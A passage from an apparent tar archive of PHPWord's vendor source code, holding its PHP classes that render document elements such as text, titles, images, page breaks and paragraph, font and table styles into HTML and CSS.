        $content .= $this->writeTrackChangeClosing();

        if (!$this->withoutP) {
            $content .= $this->parentWriter->escapeHTML($this->closingText);
            $content .= '</p>' . PHP_EOL;
        }

        return $content;
    }

    /**
     * writes the track change opening tag.
     *
     * @return string the HTML, an empty string if no track change information
     */
    private function writeTrackChangeOpening()
    {
        $changed = $this->element->getTrackChange();
        if ($changed == null) {
            return '';
        }

        $content = '';
        if (($changed->getChangeType() == TrackChange::INSERTED)) {
            $content .= '<ins data-phpword-prop=\'';
        } elseif ($changed->getChangeType() == TrackChange::DELETED) {
            $content .= '<del data-phpword-prop=\'';
        }

        $changedProp = ['changed' => ['author' => $changed->getAuthor(), 'id' => $this->element->getElementId()]];
        if ($changed->getDate() != null) {
            $changedProp['changed']['date'] = $changed->getDate()->format('Y-m-d\TH:i:s\Z');
        }
        $content .= json_encode($changedProp);
        $content .= '\' ';
        $content .= 'title="' . $changed->getAuthor();
        if ($changed->getDate() != null) {
            $dateUser = $changed->getDate()->format('Y-m-d H:i:s');
            $content .= ' - ' . $dateUser;
        }
        $content .= '">';

        return $content;
    }

    /**
     * writes the track change closing tag.
     *
     * @return string the HTML, an empty string if no track change information
     */
    private function writeTrackChangeClosing()
    {
        $changed = $this->element->getTrackChange();
        if ($changed == null) {
            return '';
        }

        $content = '';
        if (($changed->getChangeType() == TrackChange::INSERTED)) {
            $content .= '</ins>';
        } elseif ($changed->getChangeType() == TrackChange::DELETED) {
            $content .= '</del>';
        }

        return $content;
    }

    /**
     * Write paragraph style.
     *
     * @return string
     */
    private function getParagraphStyle()
    {
        /** @var \PhpOffice\PhpWord\Element\Text $element Type hint */
        $element = $this->element;
        $style = '';
        if (!method_exists($element, 'getParagraphStyle')) {
            return $style;
        }

        $paragraphStyle = $element->getParagraphStyle();
        $pStyleIsObject = ($paragraphStyle instanceof Paragraph);
        if ($pStyleIsObject) {
            $styleWriter = new ParagraphStyleWriter($paragraphStyle);
            $styleWriter->setParentWriter($this->parentWriter);
            $style = $styleWriter->write();
        } elseif (is_string($paragraphStyle)) {
            $style = $paragraphStyle;
        }
        if ($style) {
            $attribute = $pStyleIsObject ? 'style' : 'class';
            $style = " {$attribute}=\"{$style}\"";
        }

        return $style;
    }

    /**
     * Get font style.
     */
    private function processFontStyle(): void
    {
        /** @var \PhpOffice\PhpWord\Element\Text $element Type hint */
        $element = $this->element;

        $attributeStyle = $attributeLang = '';
        $lang = null;

        $fontStyle = $element->getFontStyle();
        if ($fontStyle instanceof Font) {
            // Attribute style
            $styleWriter = new FontStyleWriter($fontStyle);
            $fontCSS = $styleWriter->write();
            if ($fontCSS) {
                $attributeStyle = ' style="' . $fontCSS . '"';
            }
            // Attribute Lang
            $lang = $fontStyle->getLang();
        } elseif (!empty($fontStyle)) {
            // Attribute class
            $attributeStyle = ' class="' . $fontStyle . '"';
            // Attribute Lang
            /** @var Font $cssClassStyle */
            $cssClassStyle = Style::getStyle($fontStyle);
            if ($cssClassStyle !== null && method_exists($cssClassStyle, 'getLang')) {
                $lang = $cssClassStyle->getLang();
            }
        }

        if ($lang) {
            $attributeLang = $lang->getLatin();
            if (!$attributeLang) {
                $attributeLang = $lang->getEastAsia();
            }
            if (!$attributeLang) {
                $attributeLang = $lang->getBidirectional();
            }
            if ($attributeLang) {
                $attributeLang = " lang='$attributeLang'";
            }
        }

        if ($attributeStyle || $attributeLang) {
            $this->openingTags = "<span$attributeLang$attributeStyle>";
            $this->closingTags = '</span>';
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element/Container.php000066600000004024151150442730021713 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Element;

use PhpOffice\PhpWord\Element\AbstractContainer as ContainerElement;

/**
 * Container element HTML writer.
 *
 * @since 0.11.0
 */
class Container extends AbstractElement
{
    /**
     * Namespace; Can't use __NAMESPACE__ in inherited class (RTF).
     *
     * @var string
     */
    protected $namespace = 'PhpOffice\\PhpWord\\Writer\\HTML\\Element';

    /**
     * Write container.
     *
     * @return string
     */
    public function write()
    {
        $container = $this->element;
        if (!$container instanceof ContainerElement) {
            return '';
        }
        $containerClass = substr(get_class($container), strrpos(get_class($container), '\\') + 1);
        $withoutP = in_array($containerClass, ['TextRun', 'Footnote', 'Endnote']) ? true : false;
        $content = '';

        $elements = $container->getElements();
        foreach ($elements as $element) {
            $elementClass = get_class($element);
            $writerClass = str_replace('PhpOffice\\PhpWord\\Element', $this->namespace, $elementClass);
            if (class_exists($writerClass)) {
                /** @var \PhpOffice\PhpWord\Writer\HTML\Element\AbstractElement $writer Type hint */
                $writer = new $writerClass($this->parentWriter, $element, $withoutP);
                $content .= $writer->write();
            }
        }

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element/Title.php000066600000002632151150442730021055 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Element;

use PhpOffice\PhpWord\Writer\HTML;

/**
 * TextRun element HTML writer.
 *
 * @since 0.10.0
 */
class Title extends AbstractElement
{
    /**
     * Write heading.
     *
     * @return string
     */
    public function write()
    {
        if (!$this->element instanceof \PhpOffice\PhpWord\Element\Title) {
            return '';
        }

        $tag = 'h' . $this->element->getDepth();

        $text = $this->element->getText();
        if (is_string($text)) {
            $text = $this->parentWriter->escapeHTML($text);
        } else {
            $writer = new Container($this->parentWriter, $text);
            $text = $writer->write();
        }

        $content = "<{$tag}>{$text}</{$tag}>" . PHP_EOL;

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element/PageBreak.php000066600000002667151150442730021625 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Element;

use PhpOffice\PhpWord\Writer\PDF\TCPDF;

/**
 * PageBreak element HTML writer.
 *
 * @since 0.10.0
 */
class PageBreak extends TextBreak
{
    /**
     * Write page break.
     *
     * @since 0.12.0
     *
     * @return string
     */
    public function write()
    {
        /** @var \PhpOffice\PhpWord\Writer\HTML $parentWriter Type hint */
        $parentWriter = $this->parentWriter;
        if ($parentWriter instanceof TCPDF) {
            return '<br pagebreak="true"/>';
        }
        if ($parentWriter->isPdf()) {
            return '<pagebreak style="page-break-before: always;" pagebreak="true"></pagebreak>';
        }

        return '<div style="page-break-before: always; height: 0; margin: 0; padding: 0; overflow: hidden;">&#160;</div>' . PHP_EOL;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element/TextBreak.php000066600000002064151150442730021664 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Element;

/**
 * TextBreak element HTML writer.
 *
 * @since 0.10.0
 */
class TextBreak extends AbstractElement
{
    /**
     * Write text break.
     *
     * @return string
     */
    public function write()
    {
        if ($this->withoutP) {
            $content = '<br />' . PHP_EOL;
        } else {
            $content = '<p>&nbsp;</p>' . PHP_EOL;
        }

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Element/Image.php000066600000003145151150442730021016 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Element;

use PhpOffice\PhpWord\Element\Image as ImageElement;
use PhpOffice\PhpWord\Writer\HTML\Style\Image as ImageStyleWriter;

/**
 * Image element HTML writer.
 *
 * @since 0.10.0
 */
class Image extends Text
{
    /**
     * Write image.
     *
     * @return string
     */
    public function write()
    {
        if (!$this->element instanceof ImageElement) {
            return '';
        }
        $content = '';
        $imageData = $this->element->getImageStringData(true);
        if ($imageData !== null) {
            $styleWriter = new ImageStyleWriter($this->element->getStyle());
            $style = $styleWriter->write();
            $imageData = 'data:' . $this->element->getImageType() . ';base64,' . $imageData;

            $content .= $this->writeOpening();
            $content .= "<img border=\"0\" style=\"{$style}\" src=\"{$imageData}\"/>";
            $content .= $this->writeClosing();
        }

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Part/Head.php000066600000016334151150442730020156 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Part;

use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Shared\Converter;
use PhpOffice\PhpWord\Style;
use PhpOffice\PhpWord\Style\Font;
use PhpOffice\PhpWord\Style\Paragraph;
use PhpOffice\PhpWord\Style\Table;
use PhpOffice\PhpWord\Writer\HTML\Style\Font as FontStyleWriter;
use PhpOffice\PhpWord\Writer\HTML\Style\Generic as GenericStyleWriter;
use PhpOffice\PhpWord\Writer\HTML\Style\Paragraph as ParagraphStyleWriter;
use PhpOffice\PhpWord\Writer\HTML\Style\Table as TableStyleWriter;

/**
 * RTF head part writer.
 *
 * @since 0.11.0
 */
class Head extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $docProps = $this->getParentWriter()->getPhpWord()->getDocInfo();
        $propertiesMapping = [
            'creator' => 'author',
            'title' => '',
            'description' => '',
            'subject' => '',
            'keywords' => '',
            'category' => '',
            'company' => '',
            'manager' => '',
        ];
        $title = $docProps->getTitle();
        $title = ($title != '') ? $title : 'PHPWord';

        $content = '';

        $content .= '<head>' . PHP_EOL;
        $content .= '<meta charset="UTF-8" />' . PHP_EOL;
        $content .= '<title>' . $title . '</title>' . PHP_EOL;
        foreach ($propertiesMapping as $key => $value) {
            $value = ($value == '') ? $key : $value;
            $method = 'get' . $key;
            if ($docProps->$method() != '') {
                $content .= '<meta name="' . $value . '"'
                    . ' content="'
                    . $this->getParentWriter()->escapeHTML($docProps->$method())
                    . '"'
                    . ' />' . PHP_EOL;
            }
        }
        $content .= $this->writeStyles();
        $content .= '</head>' . PHP_EOL;

        return $content;
    }

    /**
     * Get styles.
     */
    private function writeStyles(): string
    {
        $css = '<style>' . PHP_EOL;

        // Default styles
        $astarray = [
            'font-family' => $this->getFontFamily(Settings::getDefaultFontName(), $this->getParentWriter()->getDefaultGenericFont()),
            'font-size' => Settings::getDefaultFontSize() . 'pt',
        ];
        // Mpdf sometimes needs separate tag for body; doesn't harm others.
        $bodyarray = $astarray;

        $defaultWhiteSpace = $this->getParentWriter()->getDefaultWhiteSpace();
        if ($defaultWhiteSpace) {
            $astarray['white-space'] = $defaultWhiteSpace;
        }

        foreach ([
            'body' => $bodyarray,
            '*' => $astarray,
            'a.NoteRef' => [
                'text-decoration' => 'none',
            ],
            'hr' => [
                'height' => '1px',
                'padding' => '0',
                'margin' => '1em 0',
                'border' => '0',
                'border-top' => '1px solid #CCC',
            ],
            'table' => [
                'border' => '1px solid black',
                'border-spacing' => '0px',
                'width ' => '100%',
            ],
            'td' => [
                'border' => '1px solid black',
            ],
        ] as $selector => $style) {
            $styleWriter = new GenericStyleWriter($style);
            $css .= $selector . ' {' . $styleWriter->write() . '}' . PHP_EOL;
        }

        // Custom styles
        $customStyles = Style::getStyles();
        if (is_array($customStyles)) {
            foreach ($customStyles as $name => $style) {
                $styleParagraph = null;
                if ($style instanceof Font) {
                    $styleWriter = new FontStyleWriter($style);
                    if ($style->getStyleType() == 'title') {
                        $name = str_replace('Heading_', 'h', $name);
                        $styleParagraph = $style->getParagraph();
                        $style = $styleParagraph;
                    } else {
                        $name = '.' . $name;
                    }
                    $css .= "{$name} {" . $styleWriter->write() . '}' . PHP_EOL;
                }
                if ($style instanceof Paragraph) {
                    $styleWriter = new ParagraphStyleWriter($style);
                    $styleWriter->setParentWriter($this->getParentWriter());
                    if (!$styleParagraph) {
                        $name = '.' . $name;
                    }
                    if ($name === '.Normal') {
                        $name = "p, $name";
                    }
                    $css .= "{$name} {" . $styleWriter->write() . '}' . PHP_EOL;
                }
                if ($style instanceof Table) {
                    $styleWriter = new TableStyleWriter($style);
                    $css .= ".{$name} {" . $styleWriter->write() . '}' . PHP_EOL;
                }
            }
        }

        $css .= 'body > div + div {page-break-before: always;}' . PHP_EOL;
        $css .= 'div > *:first-child {page-break-before: auto;}' . PHP_EOL;

        $sectionNum = 0;
        foreach ($this->getParentWriter()->getPhpWord()->getSections() as $section) {
            ++$sectionNum;

            $css .= "@page page$sectionNum {";

            $paperSize = $section->getStyle()->getPaperSize();
            $orientation = $section->getStyle()->getOrientation();
            if ($this->getParentWriter()->isPdf()) {
                if ($orientation === 'landscape') {
                    $paperSize .= '-L';
                }
                $css .= "sheet-size: $paperSize; ";
            } else {
                $css .= "size: $paperSize $orientation; ";
            }

            $css .= 'margin-right: ' . (string) ($section->getStyle()->getMarginRight() / Converter::INCH_TO_TWIP) . 'in; ';
            $css .= 'margin-left: ' . (string) ($section->getStyle()->getMarginLeft() / Converter::INCH_TO_TWIP) . 'in; ';
            $css .= 'margin-top: ' . (string) ($section->getStyle()->getMarginTop() / Converter::INCH_TO_TWIP) . 'in; ';
            $css .= 'margin-bottom: ' . (string) ($section->getStyle()->getMarginBottom() / Converter::INCH_TO_TWIP) . 'in; ';
            $css .= '}' . PHP_EOL;
        }

        $css .= '</style>' . PHP_EOL;

        return $css;
    }

    /**
     * Set font and alternates for css font-family.
     */
    private function getFontFamily(string $font, string $genericFont): string
    {
        if (empty($font)) {
            return '';
        }
        $fontfamily = "'" . htmlspecialchars($font, ENT_QUOTES, 'UTF-8') . "'";
        if (!empty($genericFont)) {
            $fontfamily .= ", $genericFont";
        }

        return $fontfamily;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Part/AbstractPart.php000066600000002450151150442730021701 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Part;

use PhpOffice\PhpWord\Exception\Exception;
use PhpOffice\PhpWord\Writer\HTML;

/**
 * @since 0.11.0
 */
abstract class AbstractPart
{
    /**
     * @var ?HTML
     */
    private $parentWriter;

    /**
     * @return string
     */
    abstract public function write();

    public function setParentWriter(?HTML $writer = null): void
    {
        $this->parentWriter = $writer;
    }

    /**
     * @return HTML
     */
    public function getParentWriter()
    {
        if ($this->parentWriter !== null) {
            return $this->parentWriter;
        }

        throw new Exception('No parent WriterInterface assigned.');
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Part/Body.php000066600000006143151150442730020207 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Part;

use PhpOffice\PhpWord\Writer\HTML\Element\Container;
use PhpOffice\PhpWord\Writer\HTML\Element\TextRun as TextRunWriter;
use PhpOffice\PhpWord\Writer\PDF\TCPDF;

/**
 * RTF body part writer.
 *
 * @since 0.11.0
 */
class Body extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $phpWord = $this->getParentWriter()->getPhpWord();

        $content = '';

        $content .= '<body>' . PHP_EOL;
        $sections = $phpWord->getSections();
        $secno = 0;
        $isTCPDFWriter = $this->getParentWriter() instanceof TCPDF;
        foreach ($sections as $section) {
            ++$secno;
            if ($isTCPDFWriter && $secno > 1) {
                $content .= "<div style=\"page: page$secno; page-break-before:always;\">" . PHP_EOL;
            } else {
                $content .= "<div style='page: page$secno'>" . PHP_EOL;
            }
            $writer = new Container($this->getParentWriter(), $section);
            $content .= $writer->write();
            $content .= '</div>' . PHP_EOL;
        }

        $content .= $this->writeNotes();
        $content .= '</body>' . PHP_EOL;

        return $content;
    }

    /**
     * Write footnote/endnote contents as textruns.
     *
     * @return string
     */
    private function writeNotes()
    {
        /** @var \PhpOffice\PhpWord\Writer\HTML $parentWriter Type hint */
        $parentWriter = $this->getParentWriter();
        $phpWord = $parentWriter->getPhpWord();
        $notes = $parentWriter->getNotes();

        $content = '';

        if (!empty($notes)) {
            $content .= '<hr />' . PHP_EOL;
            foreach ($notes as $noteId => $noteMark) {
                [$noteType, $noteTypeId] = explode('-', $noteMark);
                $method = 'get' . ($noteType == 'endnote' ? 'Endnotes' : 'Footnotes');
                $collection = $phpWord->$method()->getItems();

                if (isset($collection[$noteTypeId])) {
                    $element = $collection[$noteTypeId];
                    $noteAnchor = "<a name=\"note-{$noteId}\" />";
                    $noteAnchor .= "<a href=\"#{$noteMark}\" class=\"NoteRef\"><sup>{$noteId}</sup></a>";

                    $writer = new TextRunWriter($this->getParentWriter(), $element);
                    $writer->setOpeningText($noteAnchor);
                    $content .= $writer->write();
                }
            }
        }

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Style/Generic.php000066600000002050151150442730021051 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Style;

/**
 * Generic style writer.
 *
 * @since 0.10.0
 */
class Generic extends AbstractStyle
{
    /**
     * Write style.
     *
     * @return string
     */
    public function write()
    {
        $style = $this->getStyle();
        $css = [];

        if (is_array($style) && !empty($style)) {
            $css = $style;
        }

        return $this->assembleCss($css);
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Style/Table.php000066600000005557151150442730020543 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */
declare(strict_types=1);

namespace PhpOffice\PhpWord\Writer\HTML\Style;

use PhpOffice\PhpWord\Style\Cell as StyleCell;
use PhpOffice\PhpWord\Style\Table as StyleTable;

class Table extends AbstractStyle
{
    /**
     * @return string
     */
    public function write()
    {
        $style = $this->getStyle();
        if (!$style instanceof StyleTable && !$style instanceof StyleCell) {
            return '';
        }

        $css = [];
        if (is_object($style) && method_exists($style, 'getLayout')) {
            if ($style->getLayout() == StyleTable::LAYOUT_FIXED) {
                $css['table-layout'] = 'fixed';
            } elseif ($style->getLayout() == StyleTable::LAYOUT_AUTO) {
                $css['table-layout'] = 'auto';
            }
        }
        if (is_object($style) && method_exists($style, 'isBidiVisual')) {
            if ($style->isBidiVisual()) {
                $css['direction'] = 'rtl';
            }
        }

        foreach (['Top', 'Left', 'Bottom', 'Right'] as $direction) {
            $method = 'getBorder' . $direction . 'Style';
            if (method_exists($style, $method)) {
                $outval = $style->{$method}();
                if ($outval === 'single') {
                    $outval = 'solid';
                }
                if (is_string($outval) && 1 == preg_match('/^[a-z]+$/', $outval)) {
                    $css['border-' . lcfirst($direction) . '-style'] = $outval;
                }
            }

            $method = 'getBorder' . $direction . 'Color';
            if (method_exists($style, $method)) {
                $outval = $style->{$method}();
                if (is_string($outval) && 1 == preg_match('/^[a-z]+$/', $outval)) {
                    $css['border-' . lcfirst($direction) . '-color'] = $outval;
                }
            }

            $method = 'getBorder' . $direction . 'Size';
            if (method_exists($style, $method)) {
                $outval = $style->{$method}();
                if (is_numeric($outval)) {
                    // size is in twips - divide by 20 to get points
                    $css['border-' . lcfirst($direction) . '-width'] = ((string) ($outval / 20)) . 'pt';
                }
            }
        }

        return $this->assembleCss($css);
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Style/Paragraph.php000066600000007003151150442730021405 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Style;

use PhpOffice\PhpWord\Shared\Converter;
use PhpOffice\PhpWord\SimpleType\Jc;
use PhpOffice\PhpWord\Writer\PDF\TCPDF;

/**
 * Paragraph style HTML writer.
 *
 * @since 0.10.0
 */
class Paragraph extends AbstractStyle
{
    /**
     * Write style.
     *
     * @return string
     */
    public function write()
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Paragraph) {
            return '';
        }
        $css = [];

        // Alignment
        if ('' !== $style->getAlignment()) {
            $textAlign = '';

            switch ($style->getAlignment()) {
                case Jc::CENTER:
                    $textAlign = 'center';

                    break;
                case Jc::END:
                    $textAlign = $style->isBidi() ? 'left' : 'right';

                    break;
                case Jc::MEDIUM_KASHIDA:
                case Jc::HIGH_KASHIDA:
                case Jc::LOW_KASHIDA:
                case Jc::RIGHT:
                    $textAlign = 'right';

                    break;
                case Jc::BOTH:
                case Jc::DISTRIBUTE:
                case Jc::THAI_DISTRIBUTE:
                case Jc::JUSTIFY:
                    $textAlign = 'justify';

                    break;
                case Jc::LEFT:
                    $textAlign = 'left';

                    break;
                default: //all others, including Jc::START
                    $textAlign = $style->isBidi() ? 'right' : 'left';

                    break;
            }

            $css['text-align'] = $textAlign;
        }

        // Spacing
        $spacing = $style->getSpace();
        if (null !== $spacing) {
            $before = $spacing->getBefore();
            $after = $spacing->getAfter();
            $css['margin-top'] = $this->getValueIf(null !== $before, ($before / 20) . 'pt');
            $css['margin-bottom'] = $this->getValueIf(null !== $after, ($after / 20) . 'pt');
        }

        // Line Height
        $lineHeight = $style->getLineHeight();
        if (!empty($lineHeight)) {
            $css['line-height'] = $lineHeight;
        }

        // Indentation (Margin)
        $indentation = $style->getIndentation();
        if ($indentation) {
            $inches = $indentation->getLeft() * 1.0 / Converter::INCH_TO_TWIP;
            $css[$this->getParentWriter() instanceof TCPDF ? 'text-indent' : 'margin-left'] = ((string) $inches) . 'in';

            $inches = $indentation->getRight() * 1.0 / Converter::INCH_TO_TWIP;
            $css['margin-right'] = ((string) $inches) . 'in';
        }

        // Page Break Before
        if ($style->hasPageBreakBefore()) {
            $css['page-break-before'] = 'always';
        }

        // Bidirectional
        if ($style->isBidi()) {
            $css['direction'] = 'rtl';
        }

        return $this->assembleCss($css);
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Style/Font.php000066600000006530151150442730020412 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Style;

use PhpOffice\PhpWord\Style\Font as FontStyle;

/**
 * Font style HTML writer.
 *
 * @since 0.10.0
 */
class Font extends AbstractStyle
{
    /**
     * Write style.
     *
     * @return string
     */
    public function write()
    {
        $style = $this->getStyle();
        if (!$style instanceof FontStyle) {
            return '';
        }
        $css = [];

        $font = $this->getFontFamily($style->getName(), $style->getFallbackFont());
        $size = $style->getSize();
        $color = $style->getColor();
        $fgColor = $style->getFgColor();
        $underline = $style->getUnderline() != FontStyle::UNDERLINE_NONE;
        $lineThrough = $style->isStrikethrough() || $style->isDoubleStrikethrough();

        $css['font-family'] = $this->getValueIf(!empty($font), $font);
        $css['font-size'] = $this->getValueIf($size !== null, "{$size}pt");
        $css['color'] = $this->getValueIf($color !== null, "#{$color}");
        $css['background'] = $this->getValueIf($fgColor != '', $fgColor);
        $css['font-weight'] = $this->getValueIf($style->isBold(), 'bold');
        $css['font-style'] = $this->getValueIf($style->isItalic(), 'italic');
        $css['vertical-align'] = '';
        $css['vertical-align'] .= $this->getValueIf($style->isSuperScript(), 'super');
        $css['vertical-align'] .= $this->getValueIf($style->isSubScript(), 'sub');
        $css['text-decoration'] = '';
        $css['text-decoration'] .= $this->getValueIf($underline, 'underline ');
        $css['text-decoration'] .= $this->getValueIf($lineThrough, 'line-through ');
        $css['text-transform'] = $this->getValueIf($style->isAllCaps(), 'uppercase');
        $css['font-variant'] = $this->getValueIf($style->isSmallCaps(), 'small-caps');
        $css['display'] = $this->getValueIf($style->isHidden(), 'none');
        $whitespace = $style->getWhiteSpace();
        if ($whitespace) {
            $css['white-space'] = $whitespace;
        }

        $spacing = $style->getSpacing();
        $css['letter-spacing'] = $this->getValueIf(null !== $spacing, ($spacing / 20) . 'pt');
        if ($style->isRTL()) {
            $css['direction'] = 'rtl';
        } elseif ($style->isRTL() === false) {
            $css['direction'] = 'ltr';
        }

        return $this->assembleCss($css);
    }

    /**
     * Set font and alternates for css font-family.
     */
    private function getFontFamily(?string $font, string $genericFont): string
    {
        if (empty($font)) {
            return '';
        }
        $fontfamily = "'" . htmlspecialchars($font, ENT_QUOTES, 'UTF-8') . "'";
        if (!empty($genericFont)) {
            $fontfamily .= ", $genericFont";
        }

        return $fontfamily;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/HTML/Style/AbstractStyle.php000066600000005225151150442730022270 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\HTML\Style;

use PhpOffice\PhpWord\Style\AbstractStyle as StyleAbstract;
use PhpOffice\PhpWord\Writer\HTML;

/**
 * Style writer.
 *
 * @since 0.10.0
 */
abstract class AbstractStyle
{
    /**
     * Parent writer.
     *
     * @var HTML
     */
    private $parentWriter;

    /**
     * Style.
     *
     * @var null|array|StyleAbstract
     */
    private $style;

    /**
